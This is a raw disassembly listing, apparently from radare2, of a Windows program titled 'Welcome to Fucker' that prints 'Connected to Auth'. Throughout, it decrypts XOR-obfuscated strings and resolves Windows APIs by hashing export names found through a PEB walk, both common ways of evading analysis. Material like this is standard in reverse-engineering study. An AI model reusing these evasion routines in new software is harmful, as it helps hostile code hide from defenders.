call fcn.140025a50
nop
lea rcx, [rbp + 0x80]
call fcn.140024ed0
lea rdx, str.Welcome_to_Fucker_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
lea rdx, str._n___
lea rcx, [rbp + 0x90]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x90]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0xa0]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xa0]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0xb0]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xb0]
call fcn.140024ed0
lea rdx, str.Connected_to_Auth_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
lea rdx, str._n___
lea rcx, [rbp + 0xc0]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xc0]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0xd0]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xd0]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0xe0]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xe0]
call fcn.140024ed0
movups xmm0, xmmword [str.pXC_K]
movups xmmword [rbp + 0x1b0], xmm0
movzx eax, word [0x1400a3bb8]
mov word [rbp + 0x1c0], ax
mov esi, 5
lea r14d, [rsi + 0x1a]
cmp byte [0x1400a3bb9], 0
je 0x140004523
mov r8d, r13d
cmp r12d, 2
jl 0x1400044db
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x1b4]
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400043d0
cmp r8d, 0x12
jge 0x140004523
movsxd rax, r8d
lea r9, [rbp + 0x1b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400044f0
movzx edx, bl
lea rcx, [rbp + 0x390]
call fcn.140025e90
nop
lea rax, [rbp + 0x1b0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004540
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x390]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x390]
call fcn.140002160
nop
lea rcx, [rbp + 0x390]
call fcn.140001e90
lea rcx, [0x1400bdf10]
call fcn.140039930
lea rdx, [0x1400bcee0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140025bc0
lea rdx, [0x1400bcee0]
lea rcx, [rbp + 0x3b0]
call fcn.140025200
mov rdx, rax
lea rcx, [0x1400bdf10]
call fcn.14003af20
lea rdx, str._n___
cmp byte [0x1400be128], 0
jne 0x140004959
lea rcx, [rbp + 0xf0]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0xf0]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x100]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x100]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x110]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x110]
call fcn.140024ed0
movups xmm0, xmmword [str.XAYUS_]
movups xmmword [rbp + 0xca8], xmm0
movups xmm1, xmmword [0x1400ae460]
movups xmmword [rbp + 0xcb8], xmm1
movsd xmm0, qword [0x1400ae470]
movsd qword [rbp + 0xcc8], xmm0
mov eax, dword [0x1400ae478]
mov dword [rbp + 0xcd0], eax
movzx eax, word [0x1400ae47c]
mov word [rbp + 0xcd4], ax
movzx eax, byte [0x1400ae47e]
mov byte [rbp + 0xcd6], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400047fd
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xcac]
mov edx, dword [rbp - 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400046f2
cmp r8d, 0x2f
jge 0x140004843
movsxd rax, r8d
lea r9, [rbp + 0xca8]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140004810
movzx edx, dil
lea rcx, [rbp + 0x3d0]
call fcn.140025e90
nop
lea rax, [rbp + 0xca8]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140004860
lea rdx, [rbp + 0xca8]
lea rcx, [rbp + 0x3d0]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x3d0]
call fcn.140002160
nop
lea rcx, [rbp + 0x3d0]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r14d, dword [rcx + r10 + 0x88]
add r14, r10
cmp r14, r10
je 0x140004926
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140004926
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rsi]
add rdx, r10
mov r8d, 0x59bee2cc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004921
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004900
cmp r8d, 0x69eb56ef
je 0x14000492b
test r9d, r9d
jne 0x1400048e0
mov rax, qword [rax]
jmp 0x1400048b0
mov ecx, dword [r14 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r14 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov esi, 5
lea r14d, [rsi + 0x1a]
jmp 0x140003ea0
lea rcx, [rbp + 0x120]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x120]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x130]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x130]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x140]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x140]
call fcn.140024ed0
movups xmm0, xmmword [str.cW_Q_]
movups xmmword [rbp + 0xcd8], xmm0
movups xmm1, xmmword [str.__:j_r_n]
movups xmmword [rbp + 0xce8], xmm1
movsd xmm0, qword [0x1400a4bc8]
movsd qword [rbp + 0xcf8], xmm0
mov eax, dword [0x1400a4bd0]
mov dword [rbp + 0xd00], eax
movzx eax, word [0x1400a4bd4]
mov word [rbp + 0xd04], ax
movzx eax, byte [0x1400a4bd6]
mov byte [rbp + 0xd06], al
mov r8d, r13d
mov r14d, 5
lea esi, [r14 + 0x1a]
cmp r12d, 2
jl 0x140004b9b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xcdc]
mov edx, dword [rbp - 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140004a90
cmp r8d, 0x2f
jge 0x140004be3
movsxd rax, r8d
lea r9, [rbp + 0xcd8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140004bb0
movzx edx, byte [rbp + 0x4800]
lea rcx, [rbp + 0x3f0]
call fcn.140025e90
nop
lea rax, [rbp + 0xcd8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140004c01
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0x3f0]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x3f0]
call fcn.140002160
nop
lea rcx, [rbp + 0x3f0]
call fcn.140001e90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004cc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004cc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xba76e416
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004cc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004ca0
cmp r8d, 0x49849c79
je 0x140004ccb
test r9d, r9d
jne 0x140004c80
mov rax, qword [rax]
jmp 0x140004c50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov eax, dword [str.VZD8QS_LK_]
mov dword [rsp + 0x20], eax
cmp byte [0x1400a2707], 0
je 0x140004dd3
cmp r12d, 2
jl 0x140004d93
movdqa xmm3, xmmword [0x1400af2e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400af360]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400af360]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r14d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400af310]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400af340]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
jmp 0x140004dd3
lea r9, [rsp + 0x20]
mov r8d, r13d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004da0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004e66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004e66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x3b6ae336
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004e61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004e40
cmp r8d, 0xbcddcc77
je 0x140004e6b
test r9d, r9d
jne 0x140004e20
mov rax, qword [rax]
jmp 0x140004df0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x20]
call rdx
movsd xmm0, qword [str.XYS_]
movsd qword [rsp + 0x58], xmm0
movzx ecx, word [0x1400a40e0]
mov word [rsp + 0x60], cx
movzx eax, byte [0x1400a40e2]
mov byte [rsp + 0x58], WSASetLastError
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x60], cl
xor byte [rsp + 0x61], 0x3e
xor al, 0x3f
mov byte [rsp + 0x62], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004f76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004f76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5c374c10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004f71
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004f50
cmp r8d, 0xff92fe51
je 0x140004f7b
test r9d, r9d
jne 0x140004f30
mov rax, qword [rax]
jmp 0x140004f00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x58]
call rdx
lea rdx, [0x1400a249c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400257c0
mov rcx, rax
lea rdx, str._n_____________________________________________________n_____________________________________________________n_______________________________:_____________________n_____________________:_______:________:___________:__n__________________:.::.:_:_:_::_:::__:.::_:__::.:_:__n_t
call fcn.1400257c0
mov rcx, rax
mov dl, 0xa
call fcn.1400255f0
lea rdx, str._n_n___
lea rcx, [rbp + 0x150]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x150]
call fcn.140024ed0
lea rdx, [0x1400a24a8]
lea rcx, [rbp + 0x160]
call fcn.140025b00
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x160]
call fcn.140024ed0
lea rdx, [0x1400a24ac]
lea rcx, [rbp + 0x170]
call fcn.140025990
nop
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140025a50
nop
lea rcx, [rbp + 0x170]
call fcn.140024ed0
movups xmm0, xmmword [str.eDRKJ]
movups xmmword [rbp + 0x590], xmm0
movups xmm1, xmmword [0x1400aded8]
movups xmmword [rbp + 0x5a0], xmm1
mov eax, dword [0x1400adee8]
mov dword [rbp + 0x5b0], eax
mov r8d, r13d
cmp r12d, 2
jl 0x1400051db
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, esi
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x594]
mov edx, dword [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400af330]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400050d0
cmp r8d, 0x24
jge 0x140005223
movsxd rax, r8d
lea r9, [rbp + 0x590]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400051f0
movzx edx, byte [rbp + 0x4800]
lea rcx, [rbp + 0x410]
call fcn.140025e90
nop
lea rax, [rbp + 0x590]
nop
inc r15
cmp byte [rax + r15], 0
jne 0x140005240
mov r8, r15
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x410]
call fcn.140025eb0
nop
mov edx, reloc.WS2_32.dll_sendto
lea rcx, [rbp + 0x410]
call fcn.140002160
nop
lea rcx, [rbp + 0x410]
call fcn.140001e90
movsd xmm0, qword [str.EWBK_]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x1400a55d8]
mov word [rsp + 0x70], cx
movzx eax, byte [0x1400a55da]
mov byte [rsp + 0x68], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x69], 0x36
xor byte [rsp + 0x6a], 0x37
xor byte [rsp + 0x6b], 0x38
xor byte [rsp + 0x6c], 0x39
xor byte [rsp + 0x6d], 0x3a
xor byte [rsp + 0x6e], 0x3b
xor byte [rsp + 0x6f], 0x3c
xor cl, 0x3d
mov byte [rsp + 0x70], cl
xor byte [rsp + 0x71], 0x3e
xor al, 0x3f
mov byte [rsp + 0x72], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa1ed1857
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005361
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005340
cmp r8d, 0x24cd68d6
je 0x14000536b
test r9d, r9d
jne 0x140005320
mov rax, qword [rax]
jmp 0x1400052f0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x68]
call rdx
movups xmm0, xmmword [0x1400a3228]
movups xmmword [rbp + 0xb58], xmm0
movups xmm1, xmmword [str.2___8]
movups xmmword [rbp + 0xb68], xmm1
movsd xmm0, qword [0x1400a3248]
movsd qword [rbp + 0xb78], xmm0
mov eax, dword [0x1400a3250]
mov dword [rbp + 0xb80], eax
mov r8d, r13d
mov r15d, Ordinal_32
cmp r12d, 2
jl 0x14000551b
movdqa xmm5, xmmword [0x1400af2e0]
movdqa xmm4, xmmword [0x1400af360]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400af310]
movd xmm8, r15d
movdqa xmm0, xmmword [0x1400af340]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0xb5c]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
